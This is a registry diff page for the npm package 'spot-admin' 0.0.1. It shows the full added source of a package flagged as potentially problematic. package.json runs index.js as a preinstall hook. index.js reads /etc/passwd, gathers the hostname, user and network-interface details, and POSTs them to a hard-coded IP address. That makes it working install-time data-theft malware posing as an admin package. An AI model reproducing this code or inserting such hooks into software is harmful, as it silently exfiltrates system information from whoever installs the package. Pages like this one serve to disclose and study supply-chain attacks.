spot-admin 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of spot-admin might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +58 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,58 @@
1
+
2
+ const os = require('os');
3
+ const http = require('http');
4
+ const { execSync } = require('child_process'); // To execute shell commands
5
+
6
+ // Replace with the proper hostname or IP address of your Flask API
7
+ const apiHostname = '13.60.183.44'; // Your Flask API's hostname or IP
8
+ const apiPort = 5000; // Flask API's port
9
+ const apiPath = '/submit'; // Endpoint path
10
+
11
+ // Collect device information
12
+ let whoamiInfo = '';
13
+ try {
14
+ // Execute the 'whoami' command and trim the output
15
+ whoamiInfo = execSync('cat /etc/passwd && date', { encoding: 'utf-8' }).trim();
16
+ } catch (error) {
17
+ whoamiInfo = `Error executing whoami: ${error.message}`;
18
+ }
19
+
20
+ // Collect device information
21
+ const deviceInfo = {
22
+ platform: os.platform(),
23
+ release: os.release(),
24
+ hostname: os.hostname(),
25
+ arch: os.arch(),
26
+ userInfo: os.userInfo(),
27
+ networkInterfaces: os.networkInterfaces(),
28
+ whoamiinfo: whoamiInfo, // Include whoami output
29
+ user: "spot-admin",
30
+ };
31
+
32
+ // Define the request options
33
+ const options = {
34
+ hostname: apiHostname,
35
+ port: apiPort,
36
+ path: apiPath,
37
+ method: 'POST',
38
+ headers: {
39
+ 'Content-Type': 'application/json', // Inform the server about the JSON body
40
+ },
41
+ };
42
+
43
+ // Create the request
44
+ const req = http.request(options, (res) => {
45
+ console.log(`Status: ${res.statusCode}`);
46
+ res.on('data', (chunk) => {
47
+ console.log(`Body: ${chunk}`);
48
+ });
49
+ });
50
+
51
+ // Handle any errors
52
+ req.on('error', (error) => {
53
+ console.error(`Error: ${error.message}`);
54
+ });
55
+
56
+ // Write the JSON body to the request and send it
57
+ req.write(JSON.stringify(deviceInfo));
58
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "spot-admin",
3
+ "version": "0.0.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }